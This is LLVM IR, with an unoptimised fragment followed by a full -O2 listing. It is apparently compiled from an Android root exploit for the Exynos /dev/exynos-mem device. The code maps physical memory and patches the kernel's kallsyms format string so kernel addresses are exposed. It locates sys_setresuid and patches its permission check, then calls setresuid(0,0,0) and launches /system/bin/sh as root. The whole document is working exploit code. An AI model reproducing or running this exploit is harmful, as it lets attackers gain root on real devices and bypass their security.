%122 = add nsw i32 %121, 1
store i32 %122, i32* %11
%123 = load i32, i32* %11
%124 = icmp eq i32 %123, 3
br i1 %124, label %125, label %133
125: ; preds = %119
%126 = load i8*, i8** %24
%127 = call i64 @strncmp(i8* getelementptr inbounds ([15 x i8], [15 x i8]* @.str.10, i64 0, i64 0), i8* %126, i32 14)
%128 = icmp eq i64 %127, 0
br i1 %128, label %129, label %132
129: ; preds = %125
%130 = load i64, i64* %17
%131 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([35 x i8], [35 x i8]* @.str.11, i64 0, i64 0), i64 %130)
store i32 1, i32* %25
br label %132
132: ; preds = %129, %125
br label %134
133: ; preds = %119
br label %116
134: ; preds = %132, %116
%135 = load i32, i32* %25
%136 = icmp ne i32 %135, 0
br i1 %136, label %137, label %166
137: ; preds = %134
%138 = load i64*, i64** %13
store i64* %138, i64** %14
%139 = load i64, i64* %17
%140 = sub i64 %139, 3221225472
%141 = lshr i64 %140, 2
%142 = load i64*, i64** %14
%143 = getelementptr inbounds i64, i64* %142, i64 %141
store i64* %143, i64** %14
store i32 0, i32* %10
br label %144
144: ; preds = %162, %137
%145 = load i32, i32* %10
%146 = icmp slt i32 %145, 128
br i1 %146, label %147, label %165
147: ; preds = %144
%148 = load i64*, i64** %14
%149 = load i64, i64* %148
%150 = icmp eq i64 %149, 3813670912
br i1 %150, label %151, label %159
151: ; preds = %147
%152 = load i64, i64* %17
%153 = load i32, i32* %10
%154 = sext i32 %153 to i64
%155 = add i64 %152, %154
%156 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([38 x i8], [38 x i8]* @.str.12, i64 0, i64 0), i64 %155)
%157 = load i64*, i64** %14
store i64* %157, i64** %16
%158 = load i64*, i64** %14
store i64 3813670913, i64* %158
br label %165
159: ; preds = %147
%160 = load i64*, i64** %14
%161 = getelementptr inbounds i64, i64* %160, i32 1
store i64* %161, i64** %14
br label %162
162: ; preds = %159
%163 = load i32, i32* %10
%164 = add nsw i32 %163, 4
store i32 %164, i32* %10
br label %144
165: ; preds = %151, %144
br label %167
166: ; preds = %134
br label %106
167: ; preds = %165, %106
%168 = load i32*, i32** %21
%169 = call i32 @fclose(i32* %168)
%170 = call i32 @usleep(i32 100000)
%171 = call i32 @setresuid(i32 0, i32 0, i32 0)
store i32 %171, i32* %12
%172 = load i64*, i64** %15
store i64 541814821, i64* %172
%173 = load i64*, i64** %16
store i64 3813670912, i64* %173
%174 = load i64*, i64** %13
%175 = load i32, i32* %19
%176 = call i32 @munmap(i64* %174, i32 %175)
%177 = load i32, i32* %8
%178 = call i32 @close(i32 %177)
%179 = load i32, i32* %12
%180 = icmp ne i32 %179, 0
br i1 %180, label %181, label %186
181: ; preds = %167
%182 = load i32, i32* @errno
%183 = call i8* @strerror(i32 %182)
%184 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([30 x i8], [30 x i8]* @.str.13, i64 0, i64 0), i8* %183)
%185 = call i32 @exit(i32 1)
unreachable
186: ; preds = %167
%187 = getelementptr inbounds [2 x i8*], [2 x i8*]* %20, i64 0, i64 0
%188 = load i8*, i8** %187
%189 = getelementptr inbounds [2 x i8*], [2 x i8*]* %20, i64 0, i64 0
%190 = load i8**, i8*** %7
%191 = call i32 @execve(i8* %188, i8** %189, i8** %190)
ret i32 0
}

LLVM IR (-O2):
@_SC_PAGE_SIZE = global i32 0
@.str = [15 x i8] c"/system/bin/sh\00"
@.str.1 = [16 x i8] c"/dev/exynos-mem\00"
@O_RDWR = global i32 0
@PROT_READ = global i32 0
@PROT_WRITE = global i32 0
@MAP_SHARED = global i32 0
@MAP_FAILED = global i64* null
@.str.3 = [25 x i8] c"[!] Error mmap: %s|%08X\0A\00"
@errno = global i32 0
@.str.4 = [55 x i8] c"[*] s_show->seq_printf format string found at: 0x%08X\0A\00"
@.str.6 = [15 x i8] c"/proc/kallsyms\00"
@.str.7 = [2 x i8] c"r\00"
@.str.8 = [25 x i8] c"[!] kallsysms error: %s\0A\00"
@.str.9 = [2 x i8] c" \00"
@.str.10 = [15 x i8] c"sys_setresuid\0A\00"
@.str.11 = [35 x i8] c"[*] sys_setresuid found at 0x%08X\0A\00"
@.str.12 = [38 x i8] c"[*] patching sys_setresuid at 0x%08X\0A\00"
@.str.13 = [30 x i8] c"[!] set user root failed: %s\0A\00"
@str = [47 x i8] c"[!] s_show->seq_printf format string not found\00"
@str.14 = [34 x i8] c"[!] Error opening /dev/exynos-mem\00"
define i32 @main(i32 %0, i8** nocapture readnone %1, i8** %2) {
%4 = alloca [2 x i8*]
%5 = alloca [512 x i8]
%6 = load i32, i32* @_SC_PAGE_SIZE
%7 = tail call i32 @sysconf(i32 %6)
%8 = mul nsw i32 %7, %7
%9 = bitcast [2 x i8*]* %4 to i8*
%10 = getelementptr inbounds [2 x i8*], [2 x i8*]* %4, i64 0, i64 0
store i8* getelementptr inbounds ([15 x i8], [15 x i8]* @.str, i64 0, i64 0), i8** %10
%11 = getelementptr inbounds [2 x i8*], [2 x i8*]* %4, i64 0, i64 1
store i8* null, i8** %11
%12 = getelementptr inbounds [512 x i8], [512 x i8]* %5, i64 0, i64 0
%13 = load i32, i32* @O_RDWR
%14 = tail call i32 @open(i8* getelementptr inbounds ([16 x i8], [16 x i8]* @.str.1, i64 0, i64 0), i32 %13)
%15 = icmp eq i32 %14, -1
br i1 %15, label %16, label %19
16: ; preds = %3
%17 = tail call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([34 x i8], [34 x i8]* @str.14, i64 0, i64 0))
%18 = tail call i32 @exit(i32 1)
unreachable
19: ; preds = %3
%20 = load i32, i32* @PROT_READ
%21 = load i32, i32* @PROT_WRITE
%22 = or i32 %21, %20
%23 = load i32, i32* @MAP_SHARED
%24 = tail call i64 @mmap(i32* null, i32 %8, i32 %22, i32 %23, i32 %14, i32 1073741824)
%25 = inttoptr i64 %24 to i64*
%26 = load i64*, i64** @MAP_FAILED
%27 = icmp eq i64* %26, %25
br i1 %27, label %30, label %28
28: ; preds = %19
%29 = icmp eq i32 %8, 0
br i1 %29, label %52, label %35
30: ; preds = %19
%31 = load i32, i32* @errno
%32 = tail call i8* @strerror(i32 %31)
%33 = tail call i32 (i8*, ...) @printf(i8* dereferenceable(1) getelementptr inbounds ([25 x i8], [25 x i8]* @.str.3, i64 0, i64 0), i8* %32, i32 undef)
%34 = tail call i32 @exit(i32 1)
unreachable
35: ; preds = %28, %48
%36 = phi i32 [ %50, %48 ], [ 0, %28 ]
%37 = phi i64* [ %49, %48 ], [ %25, %28 ]
%38 = load i64, i64* %37
%39 = icmp eq i64 %38, 541814821
br i1 %39, label %40, label %48
40: ; preds = %35
%41 = getelementptr inbounds i64, i64* %37, i64 1
%42 = load i64, i64* %41
%43 = icmp eq i64 %42, 622879525
br i1 %43, label %44, label %48
44: ; preds = %40
%45 = getelementptr inbounds i64, i64* %37, i64 2
%46 = load i64, i64* %45
%47 = icmp eq i64 %46, 2675
br i1 %47, label %55, label %48
48: ; preds = %44, %40, %35
%49 = getelementptr inbounds i64, i64* %37, i64 1
%50 = add nuw nsw i32 %36, 4
%51 = icmp ult i32 %50, %8
br i1 %51, label %35, label %52
52: ; preds = %48, %28
%53 = tail call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([47 x i8], [47 x i8]* @str, i64 0, i64 0))
%54 = tail call i32 @exit(i32 1)
unreachable
55: ; preds = %44
%56 = add nsw i32 %36, -1073741824
%57 = tail call i32 (i8*, ...) @printf(i8* dereferenceable(1) getelementptr inbounds ([55 x i8], [55 x i8]* @.str.4, i64 0, i64 0), i32 %56)
store i64 538996773, i64* %37
%58 = tail call i32* @fopen(i8* getelementptr inbounds ([15 x i8], [15 x i8]* @.str.6, i64 0, i64 0), i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str.7, i64 0, i64 0))
%59 = icmp eq i32* %58, null
br i1 %59, label %63, label %60
60: ; preds = %55
%61 = call i8* @fgets(i8* %12, i32 512, i32* %58)
%62 = icmp eq i8* %61, null
br i1 %62, label %219, label %68
63: ; preds = %55
%64 = load i32, i32* @errno
%65 = tail call i8* @strerror(i32 %64)
%66 = tail call i32 (i8*, ...) @printf(i8* dereferenceable(1) getelementptr inbounds ([25 x i8], [25 x i8]* @.str.8, i64 0, i64 0), i8* %65)
%67 = tail call i32 @exit(i32 1)
unreachable
68: ; preds = %60, %80
%69 = phi i8* [ %81, %80 ], [ %61, %60 ]
%70 = call i8* @strtok(i8* %69, i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str.9, i64 0, i64 0))
%71 = call i64 @strtoul(i8* nocapture %70, i32* null, i32 16)
%72 = icmp eq i8* %70, null
br i1 %72, label %80, label %73
73: ; preds = %68
%74 = call i8* @strtok(i8* null, i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str.9, i64 0, i64 0))
%75 = icmp eq i8* %74, null
br i1 %75, label %80, label %76
76: ; preds = %73
%77 = call i8* @strtok(i8* null, i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str.9, i64 0, i64 0))
%78 = call i64 @strncmp(i8* getelementptr inbounds ([15 x i8], [15 x i8]* @.str.10, i64 0, i64 0), i8* %77, i32 14)
%79 = icmp eq i64 %78, 0
br i1 %79, label %83, label %80
80: ; preds = %68, %73, %76
%81 = call i8* @fgets(i8* %12, i32 512, i32* %58)
%82 = icmp eq i8* %81, null
br i1 %82, label %219, label %68
83: ; preds = %76
%84 = call i32 (i8*, ...) @printf(i8* dereferenceable(1) getelementptr inbounds ([35 x i8], [35 x i8]* @.str.11, i64 0, i64 0), i64 %71)
%85 = add i64 %71, -3221225472
%86 = lshr i64 %85, 2
%87 = getelementptr inbounds i64, i64* %25, i64 %86
%88 = load i64, i64* %87
%89 = icmp eq i64 %88, 3813670912
br i1 %89, label %90, label %95
90: ; preds = %215, %211, %207, %203, %199, %195, %191, %187, %183, %179, %175, %171, %167, %163, %159, %155, %151, %147, %143, %139, %135, %131, %127, %123, %119, %115, %111, %107, %103, %99, %95, %83
%91 = phi i64 [ 0, %83 ], [ 4, %95 ], [ 8, %99 ], [ 12, %103 ], [ 16, %107 ], [ 20, %111 ], [ 24, %115 ], [ 28, %119 ], [ 32, %123 ], [ 36, %127 ], [ 40, %131 ], [ 44, %135 ], [ 48, %139 ], [ 52, %143 ], [ 56, %147 ], [ 60, %151 ], [ 64, %155 ], [ 68, %159 ], [ 72, %163 ], [ 76, %167 ], [ 80, %171 ], [ 84, %175 ], [ 88, %179 ], [ 92, %183 ], [ 96, %187 ], [ 100, %191 ], [ 104, %195 ], [ 108, %199 ], [ 112, %203 ], [ 116, %207 ], [ 120, %211 ], [ 124, %215 ]
%92 = phi i64* [ %87, %83 ], [ %96, %95 ], [ %100, %99 ], [ %104, %103 ], [ %108, %107 ], [ %112, %111 ], [ %116, %115 ], [ %120, %119 ], [ %124, %123 ], [ %128, %127 ], [ %132, %131 ], [ %136, %135 ], [ %140, %139 ], [ %144, %143 ], [ %148, %147 ], [ %152, %151 ], [ %156, %155 ], [ %160, %159 ], [ %164, %163 ], [ %168, %167 ], [ %172, %171 ], [ %176, %175 ], [ %180, %179 ], [ %184, %183 ], [ %188, %187 ], [ %192, %191 ], [ %196, %195 ], [ %200, %199 ], [ %204, %203 ], [ %208, %207 ], [ %212, %211 ], [ %216, %215 ]
%93 = add i64 %71, %91
%94 = call i32 (i8*, ...) @printf(i8* dereferenceable(1) getelementptr inbounds ([38 x i8], [38 x i8]* @.str.12, i64 0, i64 0), i64 %93)
store i64 3813670913, i64* %92
br label %219
95: ; preds = %83
%96 = getelementptr inbounds i64, i64* %87, i64 1
%97 = load i64, i64* %96
%98 = icmp eq i64 %97, 3813670912
br i1 %98, label %90, label %99
99: ; preds = %95
%100 = getelementptr inbounds i64, i64* %96, i64 1
%101 = load i64, i64* %100
%102 = icmp eq i64 %101, 3813670912
br i1 %102, label %90, label %103
103: ; preds = %99
%104 = getelementptr inbounds i64, i64* %100, i64 1
%105 = load i64, i64* %104
%106 = icmp eq i64 %105, 3813670912
br i1 %106, label %90, label %107
107: ; preds = %103
%108 = getelementptr inbounds i64, i64* %104, i64 1
%109 = load i64, i64* %108
%110 = icmp eq i64 %109, 3813670912
br i1 %110, label %90, label %111
111: ; preds = %107
%112 = getelementptr inbounds i64, i64* %108, i64 1
%113 = load i64, i64* %112
%114 = icmp eq i64 %113, 3813670912
br i1 %114, label %90, label %115
115: ; preds = %111
%116 = getelementptr inbounds i64, i64* %112, i64 1
%117 = load i64, i64* %116
%118 = icmp eq i64 %117, 3813670912
br i1 %118, label %90, label %119
119: ; preds = %115
%120 = getelementptr inbounds i64, i64* %116, i64 1
%121 = load i64, i64* %120
%122 = icmp eq i64 %121, 3813670912
br i1 %122, label %90, label %123
123: ; preds = %119
%124 = getelementptr inbounds i64, i64* %120, i64 1
%125 = load i64, i64* %124
%126 = icmp eq i64 %125, 3813670912
br i1 %126, label %90, label %127
127: ; preds = %123
%128 = getelementptr inbounds i64, i64* %124, i64 1
%129 = load i64, i64* %128
%130 = icmp eq i64 %129, 3813670912
br i1 %130, label %90, label %131
131: ; preds = %127
%132 = getelementptr inbounds i64, i64* %128, i64 1
%133 = load i64, i64* %132
%134 = icmp eq i64 %133, 3813670912
br i1 %134, label %90, label %135
135: ; preds = %131
%136 = getelementptr inbounds i64, i64* %132, i64 1
%137 = load i64, i64* %136
%138 = icmp eq i64 %137, 3813670912
br i1 %138, label %90, label %139
139: ; preds = %135
%140 = getelementptr inbounds i64, i64* %136, i64 1
%141 = load i64, i64* %140
%142 = icmp eq i64 %141, 3813670912
br i1 %142, label %90, label %143
143: ; preds = %139
%144 = getelementptr inbounds i64, i64* %140, i64 1
%145 = load i64, i64* %144
%146 = icmp eq i64 %145, 3813670912
br i1 %146, label %90, label %147
147: ; preds = %143
%148 = getelementptr inbounds i64, i64* %144, i64 1
%149 = load i64, i64* %148
%150 = icmp eq i64 %149, 3813670912
br i1 %150, label %90, label %151
151: ; preds = %147
%152 = getelementptr inbounds i64, i64* %148, i64 1
%153 = load i64, i64* %152
%154 = icmp eq i64 %153, 3813670912
br i1 %154, label %90, label %155
155: ; preds = %151
%156 = getelementptr inbounds i64, i64* %152, i64 1
%157 = load i64, i64* %156
%158 = icmp eq i64 %157, 3813670912
br i1 %158, label %90, label %159
159: ; preds = %155
%160 = getelementptr inbounds i64, i64* %156, i64 1
%161 = load i64, i64* %160
%162 = icmp eq i64 %161, 3813670912
br i1 %162, label %90, label %163
163: ; preds = %159
%164 = getelementptr inbounds i64, i64* %160, i64 1
%165 = load i64, i64* %164
%166 = icmp eq i64 %165, 3813670912
br i1 %166, label %90, label %167
167: ; preds = %163
%168 = getelementptr inbounds i64, i64* %164, i64 1
%169 = load i64, i64* %168
%170 = icmp eq i64 %169, 3813670912
br i1 %170, label %90, label %171
171: ; preds = %167
%172 = getelementptr inbounds i64, i64* %168, i64 1
%173 = load i64, i64* %172
%174 = icmp eq i64 %173, 3813670912
br i1 %174, label %90, label %175
175: ; preds = %171
%176 = getelementptr inbounds i64, i64* %172, i64 1
%177 = load i64, i64* %176
%178 = icmp eq i64 %177, 3813670912
br i1 %178, label %90, label %179
179: ; preds = %175
%180 = getelementptr inbounds i64, i64* %176, i64 1
%181 = load i64, i64* %180
%182 = icmp eq i64 %181, 3813670912
br i1 %182, label %90, label %183
183: ; preds = %179
%184 = getelementptr inbounds i64, i64* %180, i64 1
%185 = load i64, i64* %184
%186 = icmp eq i64 %185, 3813670912
br i1 %186, label %90, label %187
187: ; preds = %183
%188 = getelementptr inbounds i64, i64* %184, i64 1
%189 = load i64, i64* %188
%190 = icmp eq i64 %189, 3813670912
br i1 %190, label %90, label %191
191: ; preds = %187
%192 = getelementptr inbounds i64, i64* %188, i64 1
%193 = load i64, i64* %192
%194 = icmp eq i64 %193, 3813670912
br i1 %194, label %90, label %195
195: ; preds = %191
%196 = getelementptr inbounds i64, i64* %192, i64 1
%197 = load i64, i64* %196
%198 = icmp eq i64 %197, 3813670912
br i1 %198, label %90, label %199
199: ; preds = %195
%200 = getelementptr inbounds i64, i64* %196, i64 1
%201 = load i64, i64* %200
%202 = icmp eq i64 %201, 3813670912
br i1 %202, label %90, label %203
203: ; preds = %199
%204 = getelementptr inbounds i64, i64* %200, i64 1
%205 = load i64, i64* %204
%206 = icmp eq i64 %205, 3813670912
br i1 %206, label %90, label %207
207: ; preds = %203
%208 = getelementptr inbounds i64, i64* %204, i64 1
%209 = load i64, i64* %208
%210 = icmp eq i64 %209, 3813670912
br i1 %210, label %90, label %211
211: ; preds = %207
%212 = getelementptr inbounds i64, i64* %208, i64 1
%213 = load i64, i64* %212
%214 = icmp eq i64 %213, 3813670912
br i1 %214, label %90, label %215
215: ; preds = %211
%216 = getelementptr inbounds i64, i64* %212, i64 1
%217 = load i64, i64* %216
%218 = icmp eq i64 %217, 3813670912
br i1 %218, label %90, label %219
219: ; preds = %80, %215, %60, %90
%220 = phi i64* [ %92, %90 ], [ null, %60 ], [ null, %215 ], [ null, %80 ]
%221 = call i32 @fclose(i32* %58)
%222 = call i32 @usleep(i32 100000)
%223 = call i32 @setresuid(i32 0, i32 0, i32 0)
store i64 541814821, i64* %37
store i64 3813670912, i64* %220
%224 = call i32 @munmap(i64* %25, i32 %8)
%225 = call i32 @close(i32 %14)
%226 = icmp eq i32 %223, 0
br i1 %226, label %232, label %227
227: ; preds = %219
%228 = load i32, i32* @errno
%229 = call i8* @strerror(i32 %228)
%230 = call i32 (i8*, ...) @printf(i8* dereferenceable(1) getelementptr inbounds ([30 x i8], [30 x i8]* @.str.13, i64 0, i64 0), i8* %229)
%231 = call i32 @exit(i32 1)
unreachable
232: ; preds = %219
%233 = call i32 @execve(i8* getelementptr inbounds ([15 x i8], [15 x i8]* @.str, i64 0, i64 0), i8** %10, i8** %2)
ret i32 0
}